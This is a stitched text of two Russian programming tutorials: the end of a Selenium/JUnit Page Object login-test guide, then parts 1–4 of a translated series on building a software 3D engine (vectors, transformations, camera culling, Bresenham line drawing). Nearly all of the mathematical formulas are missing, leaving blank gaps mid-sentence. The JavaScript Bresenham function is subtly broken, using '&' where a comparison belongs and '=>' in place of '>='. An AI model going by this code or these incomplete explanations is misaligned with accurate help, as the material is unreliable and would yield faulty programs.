private WebElement loginBtn;
/**
* определение локатора поля ввода пароля
*/
@FindBy(xpath = "//*[contains(@id, 'passp-field-passwd')]")
private WebElement passwdField;
/**
* метод для ввода логина
*/
public void inputLogin(String login) {
loginField.sendKeys(login); }
/**
* метод для ввода пароля
*/
public void inputPasswd(String passwd) {
passwdField.sendKeys(passwd); }
/**
* метод для осуществления нажатия кнопки входа в аккаунт
*/
public void clickLoginBtn() {
loginBtn.click(); } }
```
После авторизации мы попадаем на страницу пользователя. Т.к. это уже другая страница, в соответствии с идеологией Page Object нам понадобится отдельный класс для ее описания. Создадим класс ProfilePage, в котором определим локаторы для имени пользователя (как показателя успешного входа в учетную запись), а также кнопки выхода из аккаунта. Помимо этого, напишем методы, которые будут получать имя пользователя и нажимать на кнопку выхода.
Итого, страница будет иметь следующий вид:
```
package org.example;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.support.FindBy;
import org.openqa.selenium.support.PageFactory;
public class ProfilePage {
/**
* конструктор класса, занимающийся инициализацией полей класса
*/
public WebDriver driver;
public ProfilePage(WebDriver driver) {
PageFactory.initElements(driver, this);
this.driver = driver; }
/**
* определение локатора меню пользователя
*/
@FindBy(xpath = "//*[contains(@class, 'account__name_hasAccentLetter')]")
private WebElement userMenu;
/**
* определение локатора кнопки выхода из аккаунта
*/
@FindBy(xpath = "//*[contains(@class, 'menu-item_action_exit menu__item menu__item_type_link')]")
private WebElement logoutBtn;
/**
* метод для получения имени пользователя из меню пользователя
*/
public String getUserName() {
String userName = userMenu.getText();
return userName; }
/**
* метод для нажатия кнопки меню пользователя
*/
public void entryMenu() {
userMenu.click(); }
/**
* метод для нажатия кнопки выхода из аккаунта
*/
public void userLogout() {
logoutBtn.click(); } }
```
Интересный момент: в метод getUserName() пришлось добавить еще одно ожидание, т.к. страница «тяжелая» и загружалась довольно медленно. В итоге тест падал, потому что метод не мог получить имя пользователя. Метод getUserName() с ожиданием:
```
public String getUserName() {
WebDriverWait wait = new WebDriverWait(driver, 10);
wait.until(ExpectedConditions.visibilityOfElementLocated(By.xpath("//*[contains(@class, 'account__name_hasAccentLetter')]")));
String userName = userMenu.getText();
return userName; }
```
Вернемся к классу LoginTest и добавим в него созданные ранее классы-страницы путем объявления статических переменных с соответствующими именами:
```
public static LoginPage loginPage;
public static ProfilePage profilePage;
```
Сюда же вынесем переменную для драйвера
```
public static WebDriver driver;
```
В аннотации @BeforeClass создаем экземпляры классов созданных ранее страниц и присвоим ссылки на них. Создание экземпляра происходит с помощью оператора new. В качестве параметра указываем созданный перед этим объект driver, который передается конструкторам класса, созданным ранее:
```
loginPage = new LoginPage(driver);
profilePage = new ProfilePage(driver);
```
А создание экземпляра драйвера приведем к следующему виду (т.к. он объявлен в качестве переменной):
```
driver = new ChromeDriver();
```
Тест
----
Теперь можно перейти непосредственно к написанию логики теста. Создадим метод loginTest() и пометим его соответствующей аннотацией:
```
@Test
public void loginTest() {
//значение login/password берутся из файла настроек по аналогии с chromedriver
//и loginpage
//вводим логин
loginPage.inputLogin(ConfProperties.getProperty("login"));
//нажимаем кнопку входа
loginPage.clickLoginBtn();
//вводим пароль
loginPage.inputPasswd(ConfProperties.getProperty("password"));
//нажимаем кнопку входа
loginPage.clickLoginBtn();
//получаем отображаемый логин
String user = profilePage.getUserName();
//и сравниваем его с логином из файла настроек
Assert.assertEquals(ConfProperties.getProperty("login"), user); }
```
Осталось лишь корректно все завершить. Создадим финальный метод и пометим его аннотацией @AfterClass (методы помеченные этой аннотацией выполняются один раз, после завершения всех тестовых методов класса).
В этом методе осуществляется вход в меню пользователя и нажатие кнопки «Выйти», чтобы разлогиниться.
```
@AfterClass
public static void tearDown() {
profilePage.entryMenu();
profilePage.userLogout();
driver.quit(); }
```
Последняя строка нужна для закрытия окна браузера.
Обзор теста
-----------
Итого, имеем:
```
package org.example;
import org.junit.AfterClass;
import org.junit.Assert;
import org.junit.BeforeClass;
import org.junit.Test;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.chrome.ChromeDriver;
import java.util.concurrent.TimeUnit;
public class LoginTest {
public static LoginPage loginPage;
public static ProfilePage profilePage;
public static WebDriver driver;
/**
* осуществление первоначальной настройки
*/
@BeforeClass
public static void setup() {
//определение пути до драйвера и его настройка
System.setProperty("webdriver.chrome.driver", ConfProperties.getProperty("chromedriver"));
//создание экземпляра драйвера
driver = new ChromeDriver();
loginPage = new LoginPage(driver);
profilePage = new ProfilePage(driver);
//окно разворачивается на полный экран
driver.manage().window().maximize();
//задержка на выполнение теста = 10 сек.
driver.manage().timeouts().implicitlyWait(10, TimeUnit.SECONDS);
//получение ссылки на страницу входа из файла настроек
driver.get(ConfProperties.getProperty("loginpage")); }
/**
* тестовый метод для осуществления аутентификации
*/
@Test
public void loginTest() {
//получение доступа к методам класса LoginPage для взаимодействия с элементами страницы
//значение login/password берутся из файла настроек по аналогии с chromedriver
//и loginpage
//вводим логин
loginPage.inputLogin(ConfProperties.getProperty("login"));
//нажимаем кнопку входа
loginPage.clickLoginBtn();
//вводим пароль
loginPage.inputPasswd(ConfProperties.getProperty("password"));
//нажимаем кнопку входа
loginPage.clickLoginBtn();
//получаем отображаемый логин
String user = profilePage.getUserName();
//и сравниваем его с логином из файла настроек
Assert.assertEquals(ConfProperties.getProperty("login"), user); }
/**
* осуществление выхода из аккаунта с последующим закрытием окна браузера
*/
@AfterClass
public static void tearDown() {
profilePage.entryMenu();
profilePage.userLogout();
driver.quit(); } }
```
Запуск автотеста
----------------
Для запуска автотестов в Intellij Idea имеется несколько способов:
* Alt+Shift+F10;
* Клик правой клавишей мышки по имени тестового класса, после чего в открывшемся меню выбрать Run;
В результате выполнения автотеста, в консоли Idea я вижу, что тестовый метод loginTest() пройден успешно:
 | https://habr.com/ru/post/502292/ | null | ru | null |
# Создаём собственный программный 3D-движок
Часть 1: точки, векторы и базовые принципы
==========================================
Современные трёхмерные игровые движки, используемые в крупнейших проектах — это тонкая смесь математики и программирования. Многие программисты игр признают, что всецело понять их очень непросто. Если вам не хватает опыта (или профессионального образования, как мне), эта задача становится ещё более сложной. Я хочу познакомить вас с основами графических систем 3D-движков.
В этой части мы рассмотрим точки и векторы, а также всё интересное, что с ними связано. Если вы владеете основами алгебры (переменные и математика переменных) и информатики (основы любого объектно-ориентированного языка), то сможете разобраться в этой статье. Но учтите, некоторые из тем будут довольно сложными.
Основные систем координат
-------------------------
Начнём с азов. Для трёхмерной графики требуется концепция трёхмерного пространства. Наиболее часто из всех видов пространств используется декартово пространство, которое позволяет нам применять декартовы координаты (стандартная запись  и двухмерные графики, которые изучают в большинстве школ).
*Проклятье, отравляющее жизнь многим школьникам*
Трёхмерное декартово пространство даёт нам оси x, y и z (описывающие положение по горизонтали, вертикали и в глубину). Координаты любой точки в этом пространстве обозначаются как несколько чисел (в нашем случае три числа, потому что у нас три оси). На двухмерной плоскости запись обозначается как , а в трёхмерном пространстве — как . Эта запись (*кортеж*) показывает положение точки относительно исходной точки пространства (которая обычно обозначается как .
**Подсказка:** кортеж — это упорядоченный список (или последовательность) элементов в информатике или математике. То есть запись  будет кортежем из четырёх элементов, показывающим последовательность символов, составляющих моё имя.
В этом пространстве мы будем определять точку как кортеж из трёх элементов. Это можно обозначить так:
Кроме задания точки нам нужно определить её части.
Каждый из элементов кортежа является *скалярным* числом, определяющим положение вдоль *базисного вектора*. Каждый базисный вектор должен иметь единичную длину (его длина равна 1), то есть такие кортежи как  и  не могут быть базисными векторами, потому что они слишком длинные.
Мы определим три базисных вектора в нашем пространстве:
*Источник: http://www.thefullwiki.org/Arithmetics/Cartesian\_Coordinate.*
---
Система координат
-----------------
Теперь поговорим о математическом определении нашей системы координат, о том, как она влияет на графическую систему и о вычислениях, которые мы можем произвести.
### Обозначение точек
*Точку начала координат* системы координат можно обозначить точкой , которая описывается кортежем из трёх элементов (0,0,0). Это значит, что математическое представление системы координат можно изобразить так:
Этой записью мы можем сказать, что  представляют собой положение точки относительно начала координат. Такое определение означает, что любую точку ,  можно представить как:
С этого момента мы будем обозначать скалярные значения строчными буквами, а векторы — прописными, то есть ,  и  — это скаляры, а ,  и  — векторы. (На самом деле это базисные векторы, определение которым мы дали выше.)
Это значит, что точка, записываемая кортежем (2,3,4), может быть представлена так:
Итак, мы взяли абстрактное понятие «точки в трёхмерном пространстве» и определили его как сумму четырёх объектов. Такое определение будет очень важным, когда дело дойдёт до реализации понятия в коде.
### Взаимная перпендикулярность
Система координат, которую мы будем использовать, обладает очень ценным свойством: *взаимной перпендикулярностью*. Это значит, что в пересечении каждой из осей на своей соответствующей плоскости угол между ними равен 90 градусам.
Нашу систему координат можно также назвать «правой»:
*Источник: <http://viz.aset.psu.edu/gho/sem_notes/3d_fundamentals/html/3d_coordinates.html>.*
На языке математики это значит, что:
где  обозначает оператор векторного произведения.
Векторное произведение можно определить следующим уравнением (при условии, что у нас есть два кортежа из трёх элементов):
Эти выражения могут показаться скучными, но позже они позволят нам проще выполнять множество различных вычислений и преобразований. К счастью, при создании игрового движка нам необязательно запоминать все эти уравнения — можно начать с этих выражений, а затем надстраивать поверх них менее сложные системы. По крайней мере, пока вы не захотите изменить в движке нечто фундаментальное!
---
Точки и векторы
---------------
Определившись с основами системы координат, мы можем поговорить о точках и векторах, и, что более важно — о том, как они взаимодействуют друг с другом. По-первых, стоит заметить, что точки и векторы — это совершенно разные объекты: точка — это физическое место в пространстве, вектор — пространство между двумя точками.
Чтобы не перепутать эти два типа объектов, я буду записывать точки курсивными прописными буквами, например, , а векторы — полужирными прописными, например, .
При работе с точками и векторами мы будем использовать две основные аксиомы. Вот они:
* Аксиома 1: разность между двумя точками — это вектор, то есть 
* Аксиома 2: сумма точки и вектора — это точка, то есть 
**Подсказка:** *аксиома* — это логическое утверждение, считаемое достаточно очевидным для принятия без доказательств.
---
Создание движка
---------------
Благодаря этим двум аксиомам у нас есть достаточно информации для создания классов-«кирпичиков», которые являются сердцем любого трёхмерного игрового движка: класса `Point` и класса `Vector`. Если бы мы собирались создавать свой движок на основе этой информации, то нам бы нужно было сделать и другие важные шаги при создании этих классов (в основном связанных с оптимизацией и работой с существующими API), но мы опустим это ради упрощения.
Все примеры классов будут написаны псевдокодом, чтобы вы могли реализовать их на своём любимом языке. Вот наброски наших двух классов:
```
Point Class
{
Variables:
num tuple[3]; //(x,y,z)
Operators:
Point AddVectorToPoint(Vector);
Point SubtractVectorFromPoint(Vector);
Vector SubtractPointFromPoint(Point);
Function:
//позже здесь будет вызываться функция графического API, но пока
//она выводит на экран координаты точек
drawPoint;
}
```
```
Vector Class
{
Variables:
num tuple[3]; //(x,y,z)
Operators:
Vector AddVectorToVector(Vector);
Vector SubtractVectorFromVector(Vector);
}
```
В качестве упражнения попробуйте заполнить каждую из функций этих классов работающим кодом (на основании того, что мы разобрали выше). Закончив с этим, протестируйте работу, выполнив эту простую программу:
```
main
{
var point1 = new Point(1,2,1);
var point2 = new Point(0,4,4);
var vector1 = new Vector(2,0,0);
var vector2;
point1.drawPoint(); //должна вывести (1,2,1)
point2.drawPoint(); //должна вывести (0,4,4)
vector2 = point1.subtractPointFromPoint(point2);
vector1 = vector1.addVectorToVector(vector2);
point1.addVectorToPoint(vector1);
point1.drawPoint(); //должна вывести (4,0,-2)
point2.subtractVectorFromPoint(vector2);
point2.drawPoint(); //должна вывести (-1,6,7)
}
```
---
Заключение
----------
Мы добрались до конца первой части! Кажется, что тут использована куча математики просто для написания двух классов, и это на самом деле так. В большинстве случаев вам никогда не придётся работать с игрой на таком уровне, но знание подробностей внутренней работы игрового движка всё равно будет полезным (хотя бы для собственного удовольствия).
Часть 2: линейные преобразования
================================
Теперь мы поговорим о *линейных преобразованиях*, которые позволят нам изменять такие свойства векторов, как поворот и масштаб. Мы узнаем, как применить их в уже созданных нами классах.
Для обсуждения линейных преобразований нам нужно внести небольшое изменение в класс Point: вместо вывода данных в консоль воспользуйтесь любым удобным вам графическим API, чтобы функция отрисовывала текущую точку на экране.
---
Основы линейных преобразований
------------------------------
Просто предупреждение: уравнения линейных преобразований всегда выглядят намного сложнее, чем есть на самом деле. Мы применим тригонометрию, но вам на самом деле не обязательно знать *как* выполняются тригонометрические операции: я объясню, что нужно будет передавать каждой функции и что мы будем от неё получать, а для всех промежуточных действий можно использовать любой калькулятор или математическую библиотеку.
**Подсказка:** если вы хотите глубже разобраться во внутренней работе этих уравнений, то стоит [посмотреть это видео](http://www.youtube.com/watch?v=F21S9Wpi0y8) и [прочитать этот PDF](http://www.math.wfu.edu/Math105/basics%20of%20trigonometry.pdf).
Все линейные преобразования имеют следующую форму:
Из этого понятно, что у нас есть функция преобразования , в качестве входных данных используется вектор , а на выходе мы получим вектор .
Каждую из этих частей — два вектора и функцию — можно представить в виде матрицы: вектор  — как матрицу 1x3, вектор  — как ещё одну матрицу 1x3, а линейное преобразование  — как матрицу 3x3 (*матрицу преобразований*).
Это значит, что развернув уравнение, мы получим следующее:
Если вы проходили тригонометрию или линейную алгебру, то, возможно, уже припоминаете кошмар математики матриц. К счастью, есть более простой способ записи этого выражения, позволяющий избавиться от большинства проблем. Он выглядит вот так:
Однако эти уравнения могут меняться при наличии второго источника входных данных, как в случае с поворотами, когда должны задаваться вектор и количество его вращения. Давайте посмотрим, как работают повороты.
---
Повороты
--------
Поворот, по самому определению — это круговое движение объекта вокруг точки поворота. Точка поворота в нашем пространстве может принадлежать плоскости XY, плоскости XZ или плоскости YZ (где каждая плоскость составлена из двух базисных векторов, которые мы обсуждали в первой части).
Три точки поворота означают, что у нас есть три отдельных матрицы вращения:
Матрица поворота по XY:
Матрица поворота по XZ:
Матрица поворота по YZ:
То есть для поворота точки  вокруг плоскости XY на 90 градусов ( радиан — в большинстве математических библиотек есть функция преобразования градусов в радианы), нужно выполнить следующие действия:
То есть если начальная точка  имела координаты , то выходная точка  будет иметь координаты .
### Упражнение: функции поворота
В качестве упражнения попробуйте создать три новые функции для класса `Vector`. Одна должна поворачивать вектор вокруг плоскости XY, другая — вокруг YZ, а третья — вокруг XZ. На входе функции должны получать нужное число градусов поворота, а на выходе возвращать вектор.
В целом функции должны работать следующим образом:
1. Создание выходного вектора.
2. Преобразование входа в градусах в радианы.
3. Решение каждого из элементов кортежа выходного вектора с помощью приведённых выше уравнений.
4. Возврат выходного вектора.
---
Масштабирование
---------------
Масштабирование — это преобразование, увеличивающее или уменьшающее объект в соответствии с заданным масштабом.
Это преобразование выполнить довольно просто (по крайней мере, по сравнению с поворотами). Преобразование масштабирования требует двух типов входных данных: *входного вектора* и *кортежа масштабирования из трёх элементов*, который определяет масштаб входного вектора по каждой из осей пространства.
Например, в кортеже масштабирования  величина  представляет собой масштаб по оси X,  — по оси Y, а  — по оси Z.
Матрица масштабного преобразования имеет следующий вид (где ,  и  — это элементы кортежа масштабирования):
Чтобы сделать входной вектор A  вдвое больше по оси X (то есть использовать кортеж ), вычисления должны иметь следующий вид:
То есть при входном векторе  выходной вектор  будет равен .
### Упражнение: функции масштабирования
В качестве ещё одного упражнения добавьте новую функцию в класс Vector. Эта новая функция должна получать кортеж масштабирования и возвращать выходной вектор.
В целом функция должна работать следующим образом:
1. Создание выходного вектора.
2. Решение каждого элемента кортежа выходного вектора с помощью приведённого выше уравнения (которое можно упростить до `y0 = x0 * s0; y1 = x1*s1; y2 = x2*s2`).
3. Возврат выходного вектора.
---
Давайте что-нибудь создадим!
----------------------------
Теперь, когда у нас есть в распоряжении линейные преобразования, давайте создадим небольшую программу, чтобы продемонстрировать новые возможности. Мы создадим программу, отрисовывающую на экране группу точек и позволяющую изменять их как целое, выполняя над ними линейные преобразования.
Прежде чем начать, нам нужно добавить ещё одну функцию в класс `Point`. Мы назовём её `setPointToPoint()`, она будет просто задавать положение текущей точки в точке, которая ей передаётся. На входе она будет получать точку и ничего не возвращать.
Вот краткие характеристики программы:
* Программа будет хранить в массиве 100 точек.
* При нажатии клавиши **D** программа будет очищать текущий экран и перерисовывать точки.
* При нажатии клавиши **A** программа будет масштабировать положения всех точек на 0,5.
* При нажатии клавиши **S** программа будет масштабировать положения всех точек на 2,0.
* При нажатии клавиши **R** будет поворачивать положение всех точек на 15 градусов на плоскости XY.
* При нажатии клавиши **Escape** программа закрывается (если вы не пишете её на JavaScript или другом веб-ориентированном языке).
Имеющиеся у нас классы:
```
Point Class
{
Variables:
num tuple[3]; //(x,y,z)
Operators:
Point AddVectorToPoint(Vector);
Point SubtractVectorFromPoint(Vector);
Vector SubtractPointFromPoint(Point);
//использует входную точку для задания положения текущей точки
Null SetPointToPoint(Point);
Functions:
//отрисовывает точку в кортеже положения с помощью выбранного вами графического API
drawPoint;
}
Vector Class
{
Variables:
num tuple[3]; //(x,y,z)
Operators:
Vector AddVectorToVector(Vector);
Vector SubtractVectorFromVector(Vector);
Vector RotateXY(degrees);
Vector RotateYZ(degrees);
Vector RotateXZ(degrees);
Vector Scale(s0,s1,s2);
}
```
Давайте посмотрим, как может выглядеть код с учётом приведённых требований:
```
main{
//настройка выбранного графического API
//настройка клавиатурного ввода (может и не потребоваться)
//создание массива из 100 точек
Point Array pointArray[100];
for (int x = 0; x < pointArray.length; x++)
{
//Задание точке случайного положения на экране
pointArray[x].tuple = [random(0,screenWidth), random(0,screenHeight), random(0,desiredDepth));
}
//эта функция очищает экран и отрисовывает все точки заново
function redrawScreen()
{
//используйте функцию очистки экрана выбранного графического API
ClearTheScreen();
for (int x = 0; x < pointArray.length; x++)
{
//отрисовка текущей точки на экране
pointArray[x].drawPoint();
}
}
// пока не нажата клавиша escape, выполнять основной цикл
while (esc != pressed)
{
// выполнение различных действий на основании нажатых клавиш
if (key('d') == pressed)
{
redrawScreen();
}
if (key('a') == pressed)
{
//создание начала координат пространства как точки
Point origin = new Point(0,0,0);
Vector tempVector;
for (int x = 0; x < pointArray.length; x++)
{
//сохранение адреса текущего вектора для точки и задание точки
tempVector = pointArray[x].subtractPointFromPoint(origin);
//сброс точки, чтобы можно было добавить отмасштабированный вектор
pointArray[x].setPointToPoint(origin);
//масштабирование вектора и задание точки в её новой отмасштабированной координате
pointArray[x].addVectorToPoint(tempVector.scale(0.5,0.5,0.5));
}
redrawScreen();
}
if(key('s') == pressed)
{
//создание начала координат пространства как точки
Point origin = new Point(0,0,0);
Vector tempVector;
for (int x = 0; x < pointArray.length; x++)
{
//сохранение адреса текущего вектора для точки и задание точки
tempVector = pointArray[x].subtractPointFromPoint(origin);
//сброс точки, чтобы можно было добавить отмасштабированный вектор
pointArray[x].setPointToPoint(origin);
//масштабирование вектора и задание точки в её новой отмасштабированной координате
pointArray[x].addVectorToPoint(tempVector.scale(2.0,2.0,2.0));
}
redrawScreen();
}
if(key('r') == pressed)
{
//создание начала координат пространства как точки
Point origin = new Point(0,0,0);
Vector tempVector;
for (int x = 0; x < pointArray.length; x++)
{
//сохранение адреса текущего вектора для точки и задание точки
tempVector = pointArray[x].subtractPointFromPoint(origin);
//сброс точки, чтобы можно было добавить отмасштабированный вектор
pointArray[x].setPointToPoint(origin);
//масштабирование вектора и задание точки в её новой отмасштабированной координате
pointArray[x].addVectorToPoint(tempVector.rotateXY(15));
}
redrawScreen();
}
}
}
```
Итак, у нас получилась короткая хорошая программа, демонстрирующая все наши новые возможности!
---
Заключение
----------
Хоть мы и не рассмотрели все возможные линейные трансформации, наш микродвижок начинает обретать свою форму.
Как обычно, для упрощения я убрал из движка некоторые вещи (а именно перемещение и отражения). Если вы хотите больше узнать об этих двух типах линейных преобразований, то можете почитать в [статье Википедии](http://en.wikipedia.org/wiki/Transformation_matrix#Shearing) и по ссылкам в статье.
В следующей части мы рассмотрим различные пространства обзора и отсечение объектов, находящихся за пределами области видимости.
Часть 3: пространства и отсечение
=================================
Видно, что пока использование двух созданных нами классов самих по себе — довольно запутанный процесс, к тому же отрисовка каждой возможной точки может довольно быстро истощить память системы. Для решения этих проблем мы добавим в игровой движок новый класс: *камеру*.
Рендеринг будет происходить только в пределах камеры, она *отсекает* все объекты до размеров экрана, а также управляет всеми нашими точками.
Но прежде чем мы приступим ко всему этому, надо для начала поговорить об отсечении.
---
Отсечение
---------
По своему определению отсечение — это выборка объектов из большей группы объектов. В нашем игровом движке меньшей группой будут точки, которые нужно отрисовать на экране. Большей группой объектов будет множество всех существующих точек.
Благодаря отсечению движок значительно снизит потребление памяти системы. Он будет отрисовывать только то, что игрок может увидеть, а не весь мир точек. В нашем движке мы реализуем это заданием параметров *пространства обзора*.
Пространство обзора будет задаваться по всем трём нашим традиционным осям: x, y и z. Её границы по x состоят из всего между левой и правой границами окна, границы по y — из всего между верхней и нижней границами окна, а границы по z находятся в пределах от `0` (куда установлена камера) до расстояния видимости игрока (в нашем демо мы будем использовать произвольно выбранное значение `100`).
Перед отрисовкой точки класс камеры будет проверять, находится ли точка в пространстве обзора. Если находится, то точка отрисовывается, в противном случае — не отрисовывается.
---
Может, пора добавить камеру?
----------------------------
Поняв основы отсечения, мы можем создать класс камеры:
```
Camera Class
{
Vars:
int minX, maxX; //минимальная и максимальная границы X
int minY, maxY; //мин. и макс. границы Y
int minZ, maxZ; //мин. и макс. границы Z
}
```
Также мы возложим на камеру весь процесс рендеринга в движке. Часто в движках рендереры отделены от систем камер. Обычно это делается для удобства инкапсуляции систем, потому что в некоторых движках при их совместном хранении возникает путаница. Однако для нашего туториала будет проще обращаться с ними как с единой системой.
Для начала нам потребуется функция, которую можно будет вызывать извне из класса для отрисовки сцены. Эта функция будет циклически перебирать все существующие точки, сравнивать их с параметрами отсечения камеры и отрисовывать их при соблюдении условий.
*Источник: <http://en.wikipedia.org/wiki/File:ViewFrustum.svg>*
**Подсказка:** если вы хотите отделить систему камер от рендерера, то можно просто создать класс `Renderer`, отсечь системой камер точки, сохранить в массиве те из них, которые нужно отрисовывать, а затем отправить массив в функцию `draw()` рендерера.
---
Управление точками
------------------
Последней частью класса камеры будет система управления точками. В зависимости от используемого языка программирования это может быть просто массив всех объектов для отрисовки (позже мы будем обрабатывать не только точки), или же может потребоваться использование родительского класса объектов по умолчанию. Если вам очень не повезло с выбором, то придётся реализовать собственный родительский класс объектов и сделать так, чтобы все отрисовываемые классы (пока это только точки) наследовали от этого класса.
После добавления системы управления в класс наша камера будет выглядеть примерно так:
```
Camera Class
{
Vars:
int minX, maxX; //минимальная и максимальная границы X
int minY, maxY; //минимальная и максимальная границы Y
int minZ, maxZ; //минимальная и максимальная границы Z
array objectsInWorld; //массив всех существующих объектов
Functions:
null drawScene(); //отрисовывает все необходимые объекты на экран, не возвращает ничего
}
```
Внеся все эти дополнения, давайте немного улучшим программу, написанную в прошлой части.
---
Больше и лучше
--------------
Мы собираемся создать простую программу отрисовки точек на основе примера программы, созданной в прошлой части.
В этой итерации программы мы добавим использование нового класса камеры. При нажатии клавиши **D** программа будет перерисовывать экран без отсечения, показывая количество отрендеренных объектов в верхнем правом углу экрана. При нажатии клавиши **C** программа будет перерисовывать экран с отсечением, также показывая количество отрендеренных объектов.
Давайте взглянем на код:
```
main{
//настройка выбранного графического API
//настройка клавиатурного ввода (может и не потребоваться)
var camera = new Camera(); //создаём экземпляр класса камеры
camera.objectsInWorld[100]; //создаём пространство под 100 объектов в массиве камеры
//задаём пространство обзора камеры
camera.minX = 0;
camera.maxX = screenWidth;
camera.minY = 0;
camera.maxY = screenHeight;
camera.minZ = 0;
camera.maxZ = 100;
for(int x = 0; x < camera.objectsInWorld.length; x++)
{
//Задание точке случайного положения на экране
camera.objectsInWorld[x].tuple = [random(-200,1000), random(-200,1000), random(-100,200));
}
function redrawScreenWithoutCulling() //эта функция очищает экран и отрисовывает все точки заново
{
ClearTheScreen(); //используйте функцию очистки экрана выбранного графического API
for(int x = 0; x < camera.objectsInWorld.length; x++)
{
camera.objectsInWorld[x].drawPoint(); //отрисовка текущей точки на экране
}
}
while(esc != pressed) // основной цикл
{
if(key('d') == pressed)
{
redrawScreenWithoutCulling();
}
if(key('c') == pressed)
{
camera.drawScene();
}
if(key('a') == pressed)
{
Point origin = new Point(0,0,0);
Vector tempVector;
for(int x = 0; x < camera.objectsInWorld.length; x++)
{
//сохранение адреса текущего вектора для точки и задание точки
tempVector = camera.objectsInWorld[x].subtractPointFromPoint(origin);
//сброс точки, чтобы можно было добавить отмасштабированный вектор
camera.objectsInWorld[x].setPointToPoint(origin);
//масштабирование вектора и задание точки в её новой отмасштабированной координате
camera.objectsInWorld[x].addVectorToPoint(tempVector.scale(0.5,0.5,0.5));
}
}
if(key('s') == pressed)
{
Point origin = new Point(0,0,0); //create the space's origin as a point
Vector tempVector;
for(int x = 0; x < camera.objectsInWorld.length; x++)
{
//сохранение адреса текущего вектора для точки и задание точки
tempVector = camera.objectsInWorld[x].subtractPointFromPoint(origin);
//сброс точки, чтобы можно было добавить отмасштабированный вектор
camera.objectsInWorld[x].setPointToPoint(origin);
//масштабирование вектора и задание точки в её новой отмасштабированной координате
camera.objectsInWorld[x].addVectorToPoint(tempVector.scale(2.0,2.0,2.0));
}
}
if(key('r') == pressed)
{
Point origin = new Point(0,0,0); //create the space's origin as a point
Vector tempVector;
for(int x = 0; x < camera.objectsInWorld.length; x++)
{
//сохранение адреса текущего вектора для точки и задание точки
tempVector = camera.objectsInWorld[x].subtractPointFromPoint(origin);
//сброс точки, чтобы можно было добавить отмасштабированный вектор
camera.objectsInWorld[x].setPointToPoint(origin);
//масштабирование вектора и задание точки в её новой отмасштабированной координате
camera.objectsInWorld[x].addVectorToPoint(tempVector.rotateXY(15));
}
}
}
}
```
Теперь вы своими глазами можете увидеть всю мощь отсечения! Заметьте, что в коде примера, некоторые вещи реализуются немного иначе, чтобы сделать демо более веб-совместимым.
---
Заключение
----------
Создав систему камер и рендеринга, технически можно сказать, что у нас есть готовый трёхмерный игровой движок! Пока он не слишком впечатляет, но всему своё время.
В следующей части мы узнаем, как добавить в движок геометрические формы (а именно отрезки прямых и окружности), а также поговорим об алгоритмах, которые можно использовать для приведения их уравнений к экранным пикселям.
Часть 4: растеризация отрезков прямых и окружностей
===================================================
Растеризация
------------
*Растеризация* — это процесс преобразования формы, описанной в векторном графическом формате (или в нашем случае математически) в растровое изображение (в котором форма вписывается в пиксельную структуру).
Поскольку математика не всегда так точна, как нам нужно для компьютерной графики, нам нужно использовать алгоритмы для адаптации описанной ею форм в наш целочисленнй экран. Например, в математике точка может находиться в координате , но при рендеринге необходимо сместить её в , чтобы она вписывалась в пиксельную структуру экрана.
Для каждого типа форм будет собственный алгоритм растеризации. Давайте начнём с наиболее простых для растеризации форм: *отрезка прямой*.
---
Отрезки прямых
--------------
*Источник: [http://en.wikipedia.org/wiki/File:Bresenham.svg](http://gamedev.tutsplus.com/tutorials/implementation/lets-build-a-3d-graphics-engine-spaces-and-culling/)*
Отрезки прямых — это одни из простейших изображаемых форм, поэтому часто это одно из первых понятий, изучаемых на геометрии. Они описываются двумя отдельными точками (начальной и конечной) и соединяющей их прямой. Наиболее часто используемый алгоритм растеризации отрезка прямой называется *алгоритмом Брезенхэма*.
Поэтапно алгоритм Брезенхэма выглядит так:
1. Получение на входе начальной и конечной точек отрезка прямой.
2. Определение направления отрезка прямой вычислением его свойств  и  (, ).
3. Определение свойств `sx`, `sy` и обнаружения ошибки (математическое определение приведено ниже).
4. Округление каждой точки в отрезке до пикселя выше/ниже.
Перед реализацией алгоритма Брезенхэма давайте создадим базовый класс отрезка, который можно будет использовать в движке:
```
LineSegment Class
{
Variables:
int startX, startY; //начальная точка отрезка
int endX, endY; //конечная точка отрезка
Function:
array returnPointsInSegment; //все точки, находящиеся на этом отрезке
}
```
Если нужно выполнить преобразование с новым классом `LineSegment`, то для этого достаточно применить соответствующее преобразование к начальной и конечной точкам `LineSegment`, а затем передать их обратно в класс. Все точки между нии будут обработаны при отрисовке самого `LineSegment`, потому что для поиска всех последующих точек алгоритму Брезенхэма требуются только начальная и конечная точки.
Чтобы встроить класс `LineSegment` в уже существующий движок, нам нужно добавить в класс функцию `draw()`, поэтому я отказался от использования функции `returnPointsInSegment`. Эта функция будет возвращать массив всех точек, находящихся в отрезке прямой, что позволит нам удобно отрисовывать и отсекать отрезок.
Функция `returnPointsInSegment()` будет выглядеть примерно так (в JavaScript):
```
function returnPointsInSegment()
{
//создаём список для хранения всех точек отрезка прямой
var pointArray = new Array();
//задаём переменные функции на основании начальной и конечной точек класса
var x0 = this.startX;
var y0 = this.startY;
var x1 = this.endX;
var y1 = this.endY;
//вычисляем разность векторов и другие переменные, необходимые для алгоритма Брезенхэма
var dx = Math.abs(x1-x0);
var dy = Math.abs(y1-y0);
var sx = (x0 & x1) ? 1 : -1; //шаг по x
var sy = (y0 & y1) ? 1 : -1; //шаг по y
var err = dx-dy; //получаем начальное значение ошибки
//задаём первую точку в массиве
pointArray.push(new Point(x0,y0));
//Основной цикл обработки
while(!((x0 == x1) && (y0 == y1)))
{
var e2 = err * 2; //содержит значение ошибки
//используем значение ошибки определения того, в какую сторону нужно округлять точку (вверх или вниз)
if(e2 => -dy)
{
err -= dy;
x0 += sx;
}
if(e2 < dx)
{
err += dx;
y0 += sy;
}
//добавляем новую точку в массив
pointArray.push(new Point(x0, y0));
}
return pointArray;
}
```
Простейший способ добавить рендеринг отрезков прямых в класс камеры — добавление простой структуры `if`, например, вот такой:
```
//обходим в цикле массив объектов
if (class type == Point)
{
//выполняем имеющийся код рендеринга
}
else if (class type == LineSegment)
{
var segmentArray = LineSegment.returnPointsInSegment();
//обходим в цикле точки в массиве, отрисовывая и отсекая их, как мы делали ранее
}
```
